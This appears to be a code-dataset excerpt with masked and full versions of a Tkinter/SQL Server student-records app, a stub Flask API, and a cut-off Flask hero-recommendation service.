row[4], row[5], row[6]))
tree.pack(side=tk.TOP, fill=tk.X)
elif len(Genders) != 0:
cursor.execute(
"""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where A.Gender like(?)"""
, Genders)
records = cursor.fetchall()
for row in records:
tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],
row[4], row[5], row[6]))
tree.pack(side=tk.TOP, fill=tk.X)
elif len(Heights) != 0:
cursor.execute(
"""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where A.Height like(?)"""
, Heights)
records = cursor.fetchall()
for row in records:
tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],
row[4], row[5], row[6]))
tree.pack(side=tk.TOP, fill=tk.X)
elif len(Weights) != 0:
cursor.execute(
"""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where A._Weight like(?)"""
, Weights)
records = cursor.fetchall()
for row in records:
tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],
row[4], row[5], row[6]))
tree.pack(side=tk.TOP, fill=tk.X)
elif len(Rollnos) != 0:
cursor.execute(
"""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where A.StudentId like(?)"""
, Rollnos)
records = cursor.fetchall()
for row in records:
tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],
row[4], row[5], row[6]))
tree.pack(side=tk.TOP, fill=tk.X)
elif len(Sports) != 0:
cursor.execute(
"""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where B.Activity like(?)"""
, Sports)
records = cursor.fetchall()
for row in records:
tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],
row[4], row[5], row[6]))
tree.pack(side=tk.TOP, fill=tk.X)
else:
messagebox.showinfo('Tkinter',
'Atleast one search criteria must be given!')
def clearfields():
Name.delete(0, tk.END)
Age.delete(0, tk.END)
Gender.delete(0, tk.END)
height.delete(0, tk.END)
weight.delete(0, tk.END)
StudentId.delete(0, tk.END)
Sport.delete(0, tk.END)
<mask token>
| <mask token>
def save():
Names = Name.get()
Ages = Age.get()
Genders = Gender.get()
Heights = height.get()
weights = weight.get()
rollnos = StudentId.get()
Sports = Sport.get()
cursor.execute(
"""
INSERT INTO Students(Name, Age, Gender, Height,_weight,StudentId)
VALUES (?,?,?,?,?,?)"""
, (Names, Ages, Genders, Heights, weights, rollnos))
conn.commit()
cursor.execute(
"""
INSERT INTO Activity(Name,StudentId,Activity)
VALUES (?,?,?)
"""
, (Names, rollnos, Sports))
conn.commit()
clearfields()
messagebox.showinfo('Tkinter', 'Saved successfully!')
def delete():
x = StudentId.get()
cursor.execute(
"""
DELETE FROM Students
WHERE StudentId = (?)""", x)
conn.commit()
cursor.execute(
"""
DELETE FROM Activity
WHERE StudentId = (?)""", x)
clearfields()
messagebox.showinfo('Tkinter', 'Deleted successfully!')
def Search():
Names = Name.get()
Ages = Age.get()
Genders = Gender.get()
Heights = height.get()
Weights = weight.get()
Rollnos = StudentId.get()
Sports = Sport.get()
t = tree.get_children()
for f in t:
tree.delete(f)
if len(Names) != 0:
cursor.execute(
"""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Activity B on A.StudentId=B.StudentId where A.Name like(?)"""
, Names)
records = cursor.fetchall()
for row in records:
tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],
row[4], row[5], row[6]))
tree.pack(side=tk.TOP, fill=tk.X)
elif len(Ages) != 0:
cursor.execute(
"""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where A.Age like(?)"""
, Ages)
records = cursor.fetchall()
for row in records:
tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],
row[4], row[5], row[6]))
tree.pack(side=tk.TOP, fill=tk.X)
elif len(Genders) != 0:
cursor.execute(
"""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where A.Gender like(?)"""
, Genders)
records = cursor.fetchall()
for row in records:
tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],
row[4], row[5], row[6]))
tree.pack(side=tk.TOP, fill=tk.X)
elif len(Heights) != 0:
cursor.execute(
"""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where A.Height like(?)"""
, Heights)
records = cursor.fetchall()
for row in records:
tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],
row[4], row[5], row[6]))
tree.pack(side=tk.TOP, fill=tk.X)
elif len(Weights) != 0:
cursor.execute(
"""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where A._Weight like(?)"""
, Weights)
records = cursor.fetchall()
for row in records:
tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],
row[4], row[5], row[6]))
tree.pack(side=tk.TOP, fill=tk.X)
elif len(Rollnos) != 0:
cursor.execute(
"""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where A.StudentId like(?)"""
, Rollnos)
records = cursor.fetchall()
for row in records:
tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],
row[4], row[5], row[6]))
tree.pack(side=tk.TOP, fill=tk.X)
elif len(Sports) != 0:
cursor.execute(
"""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where B.Activity like(?)"""
, Sports)
records = cursor.fetchall()
for row in records:
tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],
row[4], row[5], row[6]))
tree.pack(side=tk.TOP, fill=tk.X)
else:
messagebox.showinfo('Tkinter',
'Atleast one search criteria must be given!')
def clearfields():
Name.delete(0, tk.END)
Age.delete(0, tk.END)
Gender.delete(0, tk.END)
height.delete(0, tk.END)
weight.delete(0, tk.END)
StudentId.delete(0, tk.END)
Sport.delete(0, tk.END)
<mask token>
| <mask token>
def save():
Names = Name.get()
Ages = Age.get()
Genders = Gender.get()
Heights = height.get()
weights = weight.get()
rollnos = StudentId.get()
Sports = Sport.get()
cursor.execute(
"""
INSERT INTO Students(Name, Age, Gender, Height,_weight,StudentId)
VALUES (?,?,?,?,?,?)"""
, (Names, Ages, Genders, Heights, weights, rollnos))
conn.commit()
cursor.execute(
"""
INSERT INTO Activity(Name,StudentId,Activity)
VALUES (?,?,?)
"""
, (Names, rollnos, Sports))
conn.commit()
clearfields()
messagebox.showinfo('Tkinter', 'Saved successfully!')
def delete():
x = StudentId.get()
cursor.execute(
"""
DELETE FROM Students
WHERE StudentId = (?)""", x)
conn.commit()
cursor.execute(
"""
DELETE FROM Activity
WHERE StudentId = (?)""", x)
clearfields()
messagebox.showinfo('Tkinter', 'Deleted successfully!')
def Search():
Names = Name.get()
Ages = Age.get()
Genders = Gender.get()
Heights = height.get()
Weights = weight.get()
Rollnos = StudentId.get()
Sports = Sport.get()
t = tree.get_children()
for f in t:
tree.delete(f)
if len(Names) != 0:
cursor.execute(
"""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Activity B on A.StudentId=B.StudentId where A.Name like(?)"""
, Names)
records = cursor.fetchall()
for row in records:
tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],
row[4], row[5], row[6]))
tree.pack(side=tk.TOP, fill=tk.X)
elif len(Ages) != 0:
cursor.execute(
"""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where A.Age like(?)"""
, Ages)
records = cursor.fetchall()
for row in records:
tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],
row[4], row[5], row[6]))
tree.pack(side=tk.TOP, fill=tk.X)
elif len(Genders) != 0:
cursor.execute(
"""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where A.Gender like(?)"""
, Genders)
records = cursor.fetchall()
for row in records:
tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],
row[4], row[5], row[6]))
tree.pack(side=tk.TOP, fill=tk.X)
elif len(Heights) != 0:
cursor.execute(
"""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where A.Height like(?)"""
, Heights)
records = cursor.fetchall()
for row in records:
tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],
row[4], row[5], row[6]))
tree.pack(side=tk.TOP, fill=tk.X)
elif len(Weights) != 0:
cursor.execute(
"""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where A._Weight like(?)"""
, Weights)
records = cursor.fetchall()
for row in records:
tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],
row[4], row[5], row[6]))
tree.pack(side=tk.TOP, fill=tk.X)
elif len(Rollnos) != 0:
cursor.execute(
"""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where A.StudentId like(?)"""
, Rollnos)
records = cursor.fetchall()
for row in records:
tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],
row[4], row[5], row[6]))
tree.pack(side=tk.TOP, fill=tk.X)
elif len(Sports) != 0:
cursor.execute(
"""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where B.Activity like(?)"""
, Sports)
records = cursor.fetchall()
for row in records:
tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],
row[4], row[5], row[6]))
tree.pack(side=tk.TOP, fill=tk.X)
else:
messagebox.showinfo('Tkinter',
'Atleast one search criteria must be given!')
def clearfields():
Name.delete(0, tk.END)
Age.delete(0, tk.END)
Gender.delete(0, tk.END)
height.delete(0, tk.END)
weight.delete(0, tk.END)
StudentId.delete(0, tk.END)
Sport.delete(0, tk.END)
<mask token>
canvas1.pack()
<mask token>
canvas1.create_window(300, 10, window=Name)
<mask token>
label1.config(font=('helvetica', 10))
canvas1.create_window(200, 10, window=label1)
<mask token>
canvas1.create_window(300, 40, window=Age)
<mask token>
label2.config(font=('helvetica', 10))
canvas1.create_window(200, 40, window=label2)
<mask token>
canvas1.create_window(300, 70, window=Gender)
<mask token>
label3.config(font=('helvetica', 10))
canvas1.create_window(200, 70, window=label3)
<mask token>
canvas1.create_window(300, 100, window=height)
<mask token>
label4.config(font=('helvetica', 10))
canvas1.create_window(200, 100, window=label4)
<mask token>
canvas1.create_window(300, 130, window=weight)
<mask token>
label5.config(font=('helvetica', 10))
canvas1.create_window(200, 130, window=label5)
<mask token>
canvas1.create_window(300, 160, window=StudentId)
<mask token>
label6.config(font=('helvetica', 10))
canvas1.create_window(200, 160, window=label6)
<mask token>
canvas1.create_window(300, 190, window=Sport)
<mask token>
label7.config(font=('helvetica', 10))
canvas1.create_window(200, 190, window=label7)
<mask token>
canvas1.create_window(500, 250, window=button1)
<mask token>
canvas1.create_window(400, 250, window=button5)
<mask token>
canvas1.create_window(450, 250, window=button3)
<mask token>
tree.column('#0', width=130, minwidth=270, stretch=tk.NO)
tree.column('one', width=100, minwidth=150, stretch=tk.NO)
tree.column('two', width=100, minwidth=100)
tree.column('three', width=100, minwidth=50, stretch=tk.NO)
tree.column('three', width=100, minwidth=50, stretch=tk.NO)
tree.column('three', width=100, minwidth=50, stretch=tk.NO)
tree.heading('#0', text='Name', anchor=tk.W)
tree.heading('one', text='Age', anchor=tk.W)
tree.heading('two', text='Gender', anchor=tk.W)
tree.heading('three', text='Height', anchor=tk.W)
tree.heading('four', text='Weight', anchor=tk.W)
tree.heading('five', text='StudentId', anchor=tk.W)
tree.heading('six', text='Sports', anchor=tk.W)
tree.pack()
root.mainloop()
| <mask token>
conn = pyodbc.connect(
'Driver={SQL Server};Server=MUTHUCOMPUTER;Database=Class4c v1;Trusted_Connection=yes;'
)
cursor = conn.cursor()
def save():
Names = Name.get()
Ages = Age.get()
Genders = Gender.get()
Heights = height.get()
weights = weight.get()
rollnos = StudentId.get()
Sports = Sport.get()
cursor.execute(
"""
INSERT INTO Students(Name, Age, Gender, Height,_weight,StudentId)
VALUES (?,?,?,?,?,?)"""
, (Names, Ages, Genders, Heights, weights, rollnos))
conn.commit()
cursor.execute(
"""
INSERT INTO Activity(Name,StudentId,Activity)
VALUES (?,?,?)
"""
, (Names, rollnos, Sports))
conn.commit()
clearfields()
messagebox.showinfo('Tkinter', 'Saved successfully!')
def delete():
x = StudentId.get()
cursor.execute(
"""
DELETE FROM Students
WHERE StudentId = (?)""", x)
conn.commit()
cursor.execute(
"""
DELETE FROM Activity
WHERE StudentId = (?)""", x)
clearfields()
messagebox.showinfo('Tkinter', 'Deleted successfully!')
def Search():
Names = Name.get()
Ages = Age.get()
Genders = Gender.get()
Heights = height.get()
Weights = weight.get()
Rollnos = StudentId.get()
Sports = Sport.get()
t = tree.get_children()
for f in t:
tree.delete(f)
if len(Names) != 0:
cursor.execute(
"""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Activity B on A.StudentId=B.StudentId where A.Name like(?)"""
, Names)
records = cursor.fetchall()
for row in records:
tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],
row[4], row[5], row[6]))
tree.pack(side=tk.TOP, fill=tk.X)
elif len(Ages) != 0:
cursor.execute(
"""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where A.Age like(?)"""
, Ages)
records = cursor.fetchall()
for row in records:
tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],
row[4], row[5], row[6]))
tree.pack(side=tk.TOP, fill=tk.X)
elif len(Genders) != 0:
cursor.execute(
"""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where A.Gender like(?)"""
, Genders)
records = cursor.fetchall()
for row in records:
tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],
row[4], row[5], row[6]))
tree.pack(side=tk.TOP, fill=tk.X)
elif len(Heights) != 0:
cursor.execute(
"""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where A.Height like(?)"""
, Heights)
records = cursor.fetchall()
for row in records:
tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],
row[4], row[5], row[6]))
tree.pack(side=tk.TOP, fill=tk.X)
elif len(Weights) != 0:
cursor.execute(
"""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where A._Weight like(?)"""
, Weights)
records = cursor.fetchall()
for row in records:
tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],
row[4], row[5], row[6]))
tree.pack(side=tk.TOP, fill=tk.X)
elif len(Rollnos) != 0:
cursor.execute(
"""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where A.StudentId like(?)"""
, Rollnos)
records = cursor.fetchall()
for row in records:
tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],
row[4], row[5], row[6]))
tree.pack(side=tk.TOP, fill=tk.X)
elif len(Sports) != 0:
cursor.execute(
"""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where B.Activity like(?)"""
, Sports)
records = cursor.fetchall()
for row in records:
tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],
row[4], row[5], row[6]))
tree.pack(side=tk.TOP, fill=tk.X)
else:
messagebox.showinfo('Tkinter',
'Atleast one search criteria must be given!')
def clearfields():
Name.delete(0, tk.END)
Age.delete(0, tk.END)
Gender.delete(0, tk.END)
height.delete(0, tk.END)
weight.delete(0, tk.END)
StudentId.delete(0, tk.END)
Sport.delete(0, tk.END)
root = tk.Tk()
canvas1 = tk.Canvas(root, width=900, height=300)
canvas1.pack()
Name = tk.Entry(root)
canvas1.create_window(300, 10, window=Name)
label1 = tk.Label(root, text='Name:')
label1.config(font=('helvetica', 10))
canvas1.create_window(200, 10, window=label1)
Age = tk.Entry(root)
canvas1.create_window(300, 40, window=Age)
label2 = tk.Label(root, text='Age:')
label2.config(font=('helvetica', 10))
canvas1.create_window(200, 40, window=label2)
Gender = tk.Entry(root)
canvas1.create_window(300, 70, window=Gender)
label3 = tk.Label(root, text='Gender:')
label3.config(font=('helvetica', 10))
canvas1.create_window(200, 70, window=label3)
height = tk.Entry(root)
canvas1.create_window(300, 100, window=height)
label4 = tk.Label(root, text='height in cm:')
label4.config(font=('helvetica', 10))
canvas1.create_window(200, 100, window=label4)
weight = tk.Entry(root)
canvas1.create_window(300, 130, window=weight)
label5 = tk.Label(root, text='weight in kg:')
label5.config(font=('helvetica', 10))
canvas1.create_window(200, 130, window=label5)
StudentId = tk.Entry(root)
canvas1.create_window(300, 160, window=StudentId)
label6 = tk.Label(root, text='StudentId:')
label6.config(font=('helvetica', 10))
canvas1.create_window(200, 160, window=label6)
Sport = tk.Entry(root)
canvas1.create_window(300, 190, window=Sport)
label7 = tk.Label(root, text='Sport:')
label7.config(font=('helvetica', 10))
canvas1.create_window(200, 190, window=label7)
button1 = tk.Button(text='Save', command=save)
canvas1.create_window(500, 250, window=button1)
button5 = tk.Button(text='Search', command=Search)
canvas1.create_window(400, 250, window=button5)
button3 = tk.Button(text='delete', command=delete)
canvas1.create_window(450, 250, window=button3)
tree = ttk.Treeview(root)
tree['columns'] = 'one', 'two', 'three', 'four', 'five', 'six'
tree.column('#0', width=130, minwidth=270, stretch=tk.NO)
tree.column('one', width=100, minwidth=150, stretch=tk.NO)
tree.column('two', width=100, minwidth=100)
tree.column('three', width=100, minwidth=50, stretch=tk.NO)
tree.column('three', width=100, minwidth=50, stretch=tk.NO)
tree.column('three', width=100, minwidth=50, stretch=tk.NO)
tree.heading('#0', text='Name', anchor=tk.W)
tree.heading('one', text='Age', anchor=tk.W)
tree.heading('two', text='Gender', anchor=tk.W)
tree.heading('three', text='Height', anchor=tk.W)
tree.heading('four', text='Weight', anchor=tk.W)
tree.heading('five', text='StudentId', anchor=tk.W)
tree.heading('six', text='Sports', anchor=tk.W)
tree.pack()
root.mainloop()
| from tkinter import ttk
import tkinter as tk
import pyodbc
#ConnectingDatabase#
from tkinter import messagebox
conn = pyodbc.connect('Driver={SQL Server};'
'Server=MUTHUCOMPUTER;'
'Database=Class4c v1;'
'Trusted_Connection=yes;')
cursor = conn.cursor()
#Adding new record#
def save():
Names= Name.get()
Ages= Age.get()
Genders= Gender.get()
Heights= height.get()
weights= weight.get()
rollnos= StudentId.get()
Sports=Sport.get()
cursor.execute("""
INSERT INTO Students(Name, Age, Gender, Height,_weight,StudentId)
VALUES (?,?,?,?,?,?)""",(Names,Ages,Genders,Heights,weights,rollnos))
conn.commit()
cursor.execute("""
INSERT INTO Activity(Name,StudentId,Activity)
VALUES (?,?,?)
""",(Names,rollnos,Sports))
conn.commit()
clearfields()
messagebox.showinfo("Tkinter", "Saved successfully!")
#deleting selected record and currently works only with rollnumber
def delete():
x=StudentId.get()
cursor.execute("""
DELETE FROM Students
WHERE StudentId = (?)""",(x))
conn.commit()
cursor.execute("""
DELETE FROM Activity
WHERE StudentId = (?)""",(x))
clearfields()
messagebox.showinfo("Tkinter", "Deleted successfully!")
#Searching records
def Search():
Names= Name.get()
Ages= Age.get()
Genders= Gender.get()
Heights= height.get()
Weights= weight.get()
Rollnos= StudentId.get()
Sports=Sport.get()
# clearing the tree
t=tree.get_children()
for f in t:
tree.delete(f)
#Search starts
if len(Names)!=0:
cursor.execute("""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Activity B on A.StudentId=B.StudentId where A.Name like(?)""",(Names))
records=cursor.fetchall()
for row in records:
tree.insert("", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6]))
tree.pack(side=tk.TOP,fill=tk.X)
elif len(Ages)!=0:
cursor.execute("""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where A.Age like(?)""",(Ages))
records=cursor.fetchall()
for row in records:
tree.insert("", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6]))
tree.pack(side=tk.TOP,fill=tk.X)
elif len(Genders)!=0:
cursor.execute("""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where A.Gender like(?)""",(Genders))
records=cursor.fetchall()
for row in records:
tree.insert("", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6]))
tree.pack(side=tk.TOP,fill=tk.X)
elif len(Heights)!=0:
cursor.execute("""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where A.Height like(?)""",(Heights))
records=cursor.fetchall()
for row in records:
tree.insert("", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6]))
tree.pack(side=tk.TOP,fill=tk.X)
elif len(Weights)!=0:
cursor.execute("""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where A._Weight like(?)""",(Weights))
records=cursor.fetchall()
for row in records:
tree.insert("", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6]))
tree.pack(side=tk.TOP,fill=tk.X)
elif len(Rollnos)!=0:
cursor.execute("""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where A.StudentId like(?)""",(Rollnos))
records=cursor.fetchall()
for row in records:
tree.insert("", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6]))
tree.pack(side=tk.TOP,fill=tk.X)
elif len(Sports)!=0:
cursor.execute("""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity
from Students A inner join Sports B on A.StudentId=B.StudentId where B.Activity like(?)""",(Sports))
records=cursor.fetchall()
for row in records:
tree.insert("", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6]))
tree.pack(side=tk.TOP,fill=tk.X)
else:
messagebox.showinfo("Tkinter", "Atleast one search criteria must be given!")
#Search ends
# function to clear all entry fields
def clearfields():
Name.delete(0 ,tk.END)
Age.delete(0 ,tk.END)
Gender.delete(0 ,tk.END)
height.delete(0 ,tk.END)
weight.delete(0 ,tk.END)
StudentId.delete(0 ,tk.END)
Sport.delete(0 ,tk.END)
# defining the canvas
root= tk.Tk()
canvas1 = tk.Canvas(root, width = 900, height = 300)
canvas1.pack()
# Defining the fields and labels and validating
Name = tk.Entry (root)
canvas1.create_window(300, 10, window=Name)
label1 = tk.Label(root, text='Name:')
label1.config(font=('helvetica', 10))
canvas1.create_window(200, 10, window=label1)
Age = tk.Entry (root)
canvas1.create_window(300, 40, window=Age)
label2 = tk.Label(root, text='Age:')
label2.config(font=('helvetica', 10))
canvas1.create_window(200, 40, window=label2)
Gender = tk.Entry (root)
canvas1.create_window(300, 70, window=Gender)
label3 = tk.Label(root, text='Gender:')
label3.config(font=('helvetica', 10))
canvas1.create_window(200, 70, window=label3)
height = tk.Entry (root)
canvas1.create_window(300, 100, window=height)
label4 = tk.Label(root, text='height in cm:')
label4.config(font=('helvetica', 10))
canvas1.create_window(200, 100, window=label4)
weight = tk.Entry (root)
canvas1.create_window(300, 130, window=weight)
label5 = tk.Label(root, text='weight in kg:')
label5.config(font=('helvetica', 10))
canvas1.create_window(200, 130, window=label5)
StudentId = tk.Entry (root)
canvas1.create_window(300, 160, window=StudentId)
label6 = tk.Label(root, text='StudentId:')
label6.config(font=('helvetica', 10))
canvas1.create_window(200, 160, window=label6)
Sport = tk.Entry (root)
canvas1.create_window(300, 190, window=Sport)
label7 = tk.Label(root, text='Sport:')
label7.config(font=('helvetica', 10))
canvas1.create_window(200, 190, window=label7)
# Defining the buttons
button1 = tk.Button(text='Save',command = save)
canvas1.create_window(500, 250, window=button1)
button5 = tk.Button(text='Search',command=Search)
canvas1.create_window(400, 250, window=button5)
button3 = tk.Button(text='delete',command=delete)
canvas1.create_window(450, 250, window=button3)
# Defining the tree
tree=ttk.Treeview(root)
tree["columns"]=("one","two","three","four","five","six")
tree.column("#0", width=130, minwidth=270, stretch=tk.NO)
tree.column("one", width=100, minwidth=150, stretch=tk.NO)
tree.column("two", width=100, minwidth=100)
tree.column("three", width=100, minwidth=50, stretch=tk.NO)
tree.column("three", width=100, minwidth=50, stretch=tk.NO)
tree.column("three", width=100, minwidth=50, stretch=tk.NO)
tree.heading("#0",text="Name",anchor=tk.W)
tree.heading("one", text="Age",anchor=tk.W)
tree.heading("two", text="Gender",anchor=tk.W)
tree.heading("three", text="Height",anchor=tk.W)
tree.heading("four", text="Weight",anchor=tk.W)
tree.heading("five", text="StudentId",anchor=tk.W)
tree.heading("six", text="Sports",anchor=tk.W)
tree.pack()
root.mainloop()
| [
2,
4,
5,
6,
8
] |
9,928 | cc094f8aeff3b52bd9184f7b815320529ecb4550 | <mask token>
@app.route('/')
def root():
return 'Test!'
@app.route('/federal/geographic')
def federal_geographic():
pass
<mask token>
@app.route('/state/geographic')
def state_geographic():
pass
@app.route('/local/temporal')
def local_temporal():
pass
<mask token>
| <mask token>
@app.route('/')
def root():
return 'Test!'
@app.route('/federal/geographic')
def federal_geographic():
pass
@app.route('/federal/issue')
def federal_issue():
pass
@app.route('/state/geographic')
def state_geographic():
pass
@app.route('/local/temporal')
def local_temporal():
pass
<mask token>
| <mask token>
@app.route('/')
def root():
return 'Test!'
@app.route('/federal/geographic')
def federal_geographic():
pass
@app.route('/federal/issue')
def federal_issue():
pass
@app.route('/state/geographic')
def state_geographic():
pass
@app.route('/local/temporal')
def local_temporal():
pass
if __name__ == '__main__':
app.run(debug=True)
| from flask import Flask
app = Flask(__name__)
@app.route('/')
def root():
return 'Test!'
@app.route('/federal/geographic')
def federal_geographic():
pass
@app.route('/federal/issue')
def federal_issue():
pass
@app.route('/state/geographic')
def state_geographic():
pass
@app.route('/local/temporal')
def local_temporal():
pass
if __name__ == '__main__':
app.run(debug=True)
| from flask import Flask
app = Flask(__name__)
@app.route('/')
def root():
return "Test!"
@app.route('/federal/geographic')
def federal_geographic():
pass
@app.route('/federal/issue')
def federal_issue():
pass
@app.route('/state/geographic')
def state_geographic():
pass
@app.route('/local/temporal')
def local_temporal():
pass
if __name__ == "__main__":
app.run(debug=True)
| [
4,
5,
6,
8,
9
] |
9,929 | 06605bbd91c62a02a66770ca3f37a9d2d1401ccb | <mask token>
@app.route('/')
def demo():
return render_template('home.html', hero_mapping=hero_mapping)
@app.route('/predict', methods=['POST'])
def predict():
valid, res = valid_input(list(request.json))
if not valid:
return res
else:
feature = data_to_feature(res)
prob = model.predict_proba(feature)[0]
ret_val = dict()
ret_val[0] = prob[0]
ret_val[1] = prob[1]
return ret_val
<mask token>
| <mask token>
@app.route('/')
def demo():
return render_template('home.html', hero_mapping=hero_mapping)
@app.route('/predict', methods=['POST'])
def predict():
valid, res = valid_input(list(request.json))
if not valid:
return res
else:
feature = data_to_feature(res)
prob = model.predict_proba(feature)[0]
ret_val = dict()
ret_val[0] = prob[0]
ret_val[1] = prob[1]
return ret_val
@app.route('/recommend', methods=['POST'])
def recommend():
idx = -1
raw_data = list(request.json)
for i, id_str in enumerate(list(request.json)):
if id_str == -1:
idx = i
break
if idx == -1:
return 'ERROR: illegal input.'
predict_side = 0 if idx < 5 else 1
hero_2_prob = dict()
max_prob = 0
recommended_hero_id = -1
for hero_id in hero_ids:
raw_data[idx] = str(hero_id)
valid, current_data = valid_input(raw_data)
if not valid:
continue
feature = data_to_feature(current_data)
prob = model.predict_proba(feature)[0, predict_side]
hero_2_prob[hero_id] = prob
if prob > max_prob:
recommended_hero_id = hero_id
max_prob = prob
ret_val = dict()
ret_val['hero_id'] = recommended_hero_id
ret_val['hero_name'] = inverse_hero_mapping[recommended_hero_id]
return ret_val
if __name__ == '__main__':
config = load_site_config('App/model/site_config.json')
hero_mapping, inverse_hero_mapping = load_hero_mapping(config[
'hero_mapping_path'])
model = load_pretrained_model(config['model_path'])
app.run(debug=True)
| <mask token>
app = Flask(__name__, static_folder='./static')
@app.route('/')
def demo():
return render_template('home.html', hero_mapping=hero_mapping)
@app.route('/predict', methods=['POST'])
def predict():
valid, res = valid_input(list(request.json))
if not valid:
return res
else:
feature = data_to_feature(res)
prob = model.predict_proba(feature)[0]
ret_val = dict()
ret_val[0] = prob[0]
ret_val[1] = prob[1]
return ret_val
@app.route('/recommend', methods=['POST'])
def recommend():
idx = -1
raw_data = list(request.json)
for i, id_str in enumerate(list(request.json)):
if id_str == -1:
idx = i
break
if idx == -1:
return 'ERROR: illegal input.'
predict_side = 0 if idx < 5 else 1
hero_2_prob = dict()
max_prob = 0
recommended_hero_id = -1
for hero_id in hero_ids:
raw_data[idx] = str(hero_id)
valid, current_data = valid_input(raw_data)
if not valid:
continue
feature = data_to_feature(current_data)
prob = model.predict_proba(feature)[0, predict_side]
